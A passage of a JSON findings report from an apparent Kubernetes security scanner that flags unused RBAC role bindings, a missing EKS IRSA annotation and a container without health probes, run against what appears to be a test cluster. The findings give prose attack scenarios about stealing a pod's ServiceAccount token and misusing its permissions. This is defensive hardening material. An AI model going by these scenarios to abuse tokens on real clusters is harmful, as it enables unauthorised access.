        "title": "Kubernetes - Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:leastprivilege",
      "category:least_privilege"
    ]
  },
  {
    "id": "KUBE-RBAC-UNUSED-ROLE-001:ServiceAccount/rbac-fixtures/sa-pod-create:cr-pod-create",
    "rule_id": "KUBE-RBAC-UNUSED-ROLE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "privilege_escalation",
    "title": "Role `cr-pod-create` granted to ServiceAccount `rbac-fixtures/sa-pod-create` but never exercised",
    "description": "Audit logs covering 30 days (2026-10-13 → 2026-11-12, 3 events) show **zero** API calls from ServiceAccount `rbac-fixtures/sa-pod-create`. The Role `cr-pod-create` is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "ClusterRole",
      "name": "cr-pod-create",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `rbac-fixtures`"
    },
    "impact": "If the pod is compromised, the attacker inherits every permission in `cr-pod-create` even though the application has not used any of them.",
    "attack_scenario": [
      "Attacker compromises a pod running as ServiceAccount `rbac-fixtures/sa-pod-create` (e.g. via an RCE in the application).",
      "Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount `rbac-fixtures/sa-pod-create`.",
      "Attacker uses the token to invoke every API grant in `cr-pod-create` - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs."
    ],
    "evidence": {
      "events_processed": 3,
      "signal": "no_observed_events_for_subject",
      "source_role": "cr-pod-create",
      "window_end": "2026-11-12T18:18:01.203764293Z",
      "window_start": "2026-10-13T18:18:01.203764293Z"
    },
    "remediation": "Remove the binding that grants `cr-pod-create` to ServiceAccount `rbac-fixtures/sa-pod-create`, or replace the Role with a no-op placeholder until the workload is retired.",
    "remediation_steps": [
      "Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).",
      "Find the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == \"cr-pod-create\") | {kind, ns: .metadata.namespace, name: .metadata.name}'`",
      "Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "AWS - IAM Access Advisor (analog of this analyzer)",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
      },
      {
        "title": "Kubernetes - Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:leastprivilege",
      "category:least_privilege"
    ]
  },
  {
    "id": "KUBE-RBAC-UNUSED-ROLE-001:ServiceAccount/rbac-fixtures/sa-wildcard:cr-wildcard",
    "rule_id": "KUBE-RBAC-UNUSED-ROLE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "privilege_escalation",
    "title": "Role `cr-wildcard` granted to ServiceAccount `rbac-fixtures/sa-wildcard` but never exercised",
    "description": "Audit logs covering 30 days (2026-10-13 → 2026-11-12, 3 events) show **zero** API calls from ServiceAccount `rbac-fixtures/sa-wildcard`. The Role `cr-wildcard` is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "ClusterRole",
      "name": "cr-wildcard",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `rbac-fixtures`"
    },
    "impact": "If the pod is compromised, the attacker inherits every permission in `cr-wildcard` even though the application has not used any of them.",
    "attack_scenario": [
      "Attacker compromises a pod running as ServiceAccount `rbac-fixtures/sa-wildcard` (e.g. via an RCE in the application).",
      "Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount `rbac-fixtures/sa-wildcard`.",
      "Attacker uses the token to invoke every API grant in `cr-wildcard` - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs."
    ],
    "evidence": {
      "events_processed": 3,
      "signal": "no_observed_events_for_subject",
      "source_role": "cr-wildcard",
      "window_end": "2026-11-12T18:18:01.203764293Z",
      "window_start": "2026-10-13T18:18:01.203764293Z"
    },
    "remediation": "Remove the binding that grants `cr-wildcard` to ServiceAccount `rbac-fixtures/sa-wildcard`, or replace the Role with a no-op placeholder until the workload is retired.",
    "remediation_steps": [
      "Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).",
      "Find the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == \"cr-wildcard\") | {kind, ns: .metadata.namespace, name: .metadata.name}'`",
      "Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "AWS - IAM Access Advisor (analog of this analyzer)",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
      },
      {
        "title": "Kubernetes - Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:leastprivilege",
      "category:least_privilege"
    ]
  },
  {
    "id": "KUBE-RBAC-UNUSED-ROLE-001:ServiceAccount/foothold-fixtures/foothold-quiet:foothold-quiet-secrets",
    "rule_id": "KUBE-RBAC-UNUSED-ROLE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "privilege_escalation",
    "title": "Role `foothold-quiet-secrets` granted to ServiceAccount `foothold-fixtures/foothold-quiet` but never exercised",
    "description": "Audit logs covering 30 days (2026-10-13 → 2026-11-12, 3 events) show **zero** API calls from ServiceAccount `foothold-fixtures/foothold-quiet`. The Role `foothold-quiet-secrets` is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-quiet",
      "namespace": "foothold-fixtures"
    },
    "resource": {
      "kind": "Role",
      "name": "foothold-quiet-secrets",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `foothold-fixtures`"
    },
    "impact": "If the pod is compromised, the attacker inherits every permission in `foothold-quiet-secrets` even though the application has not used any of them.",
    "attack_scenario": [
      "Attacker compromises a pod running as ServiceAccount `foothold-fixtures/foothold-quiet` (e.g. via an RCE in the application).",
      "Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount `foothold-fixtures/foothold-quiet`.",
      "Attacker uses the token to invoke every API grant in `foothold-quiet-secrets` - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs."
    ],
    "evidence": {
      "events_processed": 3,
      "signal": "no_observed_events_for_subject",
      "source_role": "foothold-quiet-secrets",
      "window_end": "2026-11-12T18:18:01.203764293Z",
      "window_start": "2026-10-13T18:18:01.203764293Z"
    },
    "remediation": "Remove the binding that grants `foothold-quiet-secrets` to ServiceAccount `foothold-fixtures/foothold-quiet`, or replace the Role with a no-op placeholder until the workload is retired.",
    "remediation_steps": [
      "Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).",
      "Find the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == \"foothold-quiet-secrets\") | {kind, ns: .metadata.namespace, name: .metadata.name}'`",
      "Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "AWS - IAM Access Advisor (analog of this analyzer)",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
      },
      {
        "title": "Kubernetes - Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:leastprivilege",
      "category:least_privilege"
    ]
  },
  {
    "id": "KUBE-RBAC-UNUSED-ROLE-001:ServiceAccount/foothold-exec/foothold-reader:foothold-reader-secrets",
    "rule_id": "KUBE-RBAC-UNUSED-ROLE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "privilege_escalation",
    "title": "Role `foothold-reader-secrets` granted to ServiceAccount `foothold-exec/foothold-reader` but never exercised",
    "description": "Audit logs covering 30 days (2026-10-13 → 2026-11-12, 3 events) show **zero** API calls from ServiceAccount `foothold-exec/foothold-reader`. The Role `foothold-reader-secrets` is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-reader",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "Role",
      "name": "foothold-reader-secrets",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `foothold-exec`"
    },
    "impact": "If the pod is compromised, the attacker inherits every permission in `foothold-reader-secrets` even though the application has not used any of them.",
    "attack_scenario": [
      "Attacker compromises a pod running as ServiceAccount `foothold-exec/foothold-reader` (e.g. via an RCE in the application).",
      "Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount `foothold-exec/foothold-reader`.",
      "Attacker uses the token to invoke every API grant in `foothold-reader-secrets` - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs."
    ],
    "evidence": {
      "events_processed": 3,
      "signal": "no_observed_events_for_subject",
      "source_role": "foothold-reader-secrets",
      "window_end": "2026-11-12T18:18:01.203764293Z",
      "window_start": "2026-10-13T18:18:01.203764293Z"
    },
    "remediation": "Remove the binding that grants `foothold-reader-secrets` to ServiceAccount `foothold-exec/foothold-reader`, or replace the Role with a no-op placeholder until the workload is retired.",
    "remediation_steps": [
      "Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).",
      "Find the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == \"foothold-reader-secrets\") | {kind, ns: .metadata.namespace, name: .metadata.name}'`",
      "Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "AWS - IAM Access Advisor (analog of this analyzer)",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
      },
      {
        "title": "Kubernetes - Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:leastprivilege",
      "category:least_privilege"
    ]
  },
  {
    "id": "KUBE-RBAC-UNUSED-ROLE-001:ServiceAccount/local-path-storage/local-path-provisioner-service-account:local-path-provisioner-role",
    "rule_id": "KUBE-RBAC-UNUSED-ROLE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "privilege_escalation",
    "title": "Role `local-path-provisioner-role` granted to ServiceAccount `local-path-storage/local-path-provisioner-service-account` but never exercised",
    "description": "Audit logs covering 30 days (2026-10-13 → 2026-11-12, 3 events) show **zero** API calls from ServiceAccount `local-path-storage/local-path-provisioner-service-account`. The Role `local-path-provisioner-role` is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "local-path-provisioner-service-account",
      "namespace": "local-path-storage"
    },
    "resource": {
      "kind": "Role",
      "name": "local-path-provisioner-role",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "local-path-storage",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `local-path-storage`"
    },
    "impact": "If the pod is compromised, the attacker inherits every permission in `local-path-provisioner-role` even though the application has not used any of them.",
    "attack_scenario": [
      "Attacker compromises a pod running as ServiceAccount `local-path-storage/local-path-provisioner-service-account` (e.g. via an RCE in the application).",
      "Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount `local-path-storage/local-path-provisioner-service-account`.",
      "Attacker uses the token to invoke every API grant in `local-path-provisioner-role` - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs."
    ],
    "evidence": {
      "events_processed": 3,
      "signal": "no_observed_events_for_subject",
      "source_role": "local-path-provisioner-role",
      "window_end": "2026-11-12T18:18:01.203764293Z",
      "window_start": "2026-10-13T18:18:01.203764293Z"
    },
    "remediation": "Remove the binding that grants `local-path-provisioner-role` to ServiceAccount `local-path-storage/local-path-provisioner-service-account`, or replace the Role with a no-op placeholder until the workload is retired.",
    "remediation_steps": [
      "Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).",
      "Find the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == \"local-path-provisioner-role\") | {kind, ns: .metadata.namespace, name: .metadata.name}'`",
      "Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "AWS - IAM Access Advisor (analog of this analyzer)",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
      },
      {
        "title": "Kubernetes - Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:leastprivilege",
      "category:least_privilege"
    ]
  },
  {
    "id": "KUBE-RBAC-UNUSED-ROLE-001:ServiceAccount/lp-fixtures/sa-lp-orphan:r-lp-orphan",
    "rule_id": "KUBE-RBAC-UNUSED-ROLE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "privilege_escalation",
    "title": "Role `r-lp-orphan` granted to ServiceAccount `lp-fixtures/sa-lp-orphan` but never exercised",
    "description": "Audit logs covering 30 days (2026-10-13 → 2026-11-12, 3 events) show **zero** API calls from ServiceAccount `lp-fixtures/sa-lp-orphan`. The Role `r-lp-orphan` is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-orphan",
      "namespace": "lp-fixtures"
    },
    "resource": {
      "kind": "Role",
      "name": "r-lp-orphan",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `lp-fixtures`"
    },
    "impact": "If the pod is compromised, the attacker inherits every permission in `r-lp-orphan` even though the application has not used any of them.",
    "attack_scenario": [
      "Attacker compromises a pod running as ServiceAccount `lp-fixtures/sa-lp-orphan` (e.g. via an RCE in the application).",
      "Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount `lp-fixtures/sa-lp-orphan`.",
      "Attacker uses the token to invoke every API grant in `r-lp-orphan` - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs."
    ],
    "evidence": {
      "events_processed": 3,
      "signal": "no_observed_events_for_subject",
      "source_role": "r-lp-orphan",
      "window_end": "2026-11-12T18:18:01.203764293Z",
      "window_start": "2026-10-13T18:18:01.203764293Z"
    },
    "remediation": "Remove the binding that grants `r-lp-orphan` to ServiceAccount `lp-fixtures/sa-lp-orphan`, or replace the Role with a no-op placeholder until the workload is retired.",
    "remediation_steps": [
      "Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).",
      "Find the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == \"r-lp-orphan\") | {kind, ns: .metadata.namespace, name: .metadata.name}'`",
      "Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "AWS - IAM Access Advisor (analog of this analyzer)",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
      },
      {
        "title": "Kubernetes - Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:leastprivilege",
      "category:least_privilege"
    ]
  },
  {
    "id": "KUBE-RBAC-UNUSED-ROLE-001:ServiceAccount/secrets-bundle/cross-ns-reader:secrets-reader",
    "rule_id": "KUBE-RBAC-UNUSED-ROLE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "privilege_escalation",
    "title": "Role `secrets-reader` granted to ServiceAccount `secrets-bundle/cross-ns-reader` but never exercised",
    "description": "Audit logs covering 30 days (2026-10-13 → 2026-11-12, 3 events) show **zero** API calls from ServiceAccount `secrets-bundle/cross-ns-reader`. The Role `secrets-reader` is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cross-ns-reader",
      "namespace": "secrets-bundle"
    },
    "resource": {
      "kind": "Role",
      "name": "secrets-reader",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `secrets-bundle`"
    },
    "impact": "If the pod is compromised, the attacker inherits every permission in `secrets-reader` even though the application has not used any of them.",
    "attack_scenario": [
      "Attacker compromises a pod running as ServiceAccount `secrets-bundle/cross-ns-reader` (e.g. via an RCE in the application).",
      "Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount `secrets-bundle/cross-ns-reader`.",
      "Attacker uses the token to invoke every API grant in `secrets-reader` - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs."
    ],
    "evidence": {
      "events_processed": 3,
      "signal": "no_observed_events_for_subject",
      "source_role": "secrets-reader",
      "window_end": "2026-11-12T18:18:01.203764293Z",
      "window_start": "2026-10-13T18:18:01.203764293Z"
    },
    "remediation": "Remove the binding that grants `secrets-reader` to ServiceAccount `secrets-bundle/cross-ns-reader`, or replace the Role with a no-op placeholder until the workload is retired.",
    "remediation_steps": [
      "Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).",
      "Find the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == \"secrets-reader\") | {kind, ns: .metadata.namespace, name: .metadata.name}'`",
      "Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "AWS - IAM Access Advisor (analog of this analyzer)",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
      },
      {
        "title": "Kubernetes - Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:leastprivilege",
      "category:least_privilege"
    ]
  },
  {
    "id": "KUBE-CLOUD-IRSA-MISSING-001:cloud-eks-test:Deployment:imds-pivot-app",
    "rule_id": "KUBE-CLOUD-IRSA-MISSING-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "privilege_escalation",
    "title": "Pod talks to AWS but its ServiceAccount has no IRSA annotation",
    "description": "Pod cloud-eks-test/imds-pivot-app shows AWS-SDK hints (image: aws-cli) but its ServiceAccount cloud-eks-test/default carries no eks.amazonaws.com/role-arn annotation. Without IRSA, AWS SDKs typically fall back to the node's IMDS-served instance profile, which gives every workload on that node the same AWS privileges.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "cloud-eks-test"
    },
    "resource": {
      "kind": "Deployment",
      "name": "imds-pivot-app",
      "namespace": "cloud-eks-test"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload cloud-eks-test/Deployment/imds-pivot-app"
    },
    "evidence": {
      "hintKind": "image",
      "matchedHint": "aws-cli",
      "pod": "cloud-eks-test/imds-pivot-app",
      "sa": "cloud-eks-test/default"
    },
    "remediation": "Create a least-privilege IAM role for the workload and annotate its ServiceAccount with eks.amazonaws.com/role-arn.",
    "excluded": false,
    "tags": [
      "module:cloud",
      "provider:eks",
      "check:irsaMissing"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:flat-network:api:api",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `api` in `Deployment/flat-network/api` has neither a liveness nor a readiness probe",
    "description": "Container `api` in `Deployment/flat-network/api` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "api",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/flat-network/api`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/api` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "api",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `api` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
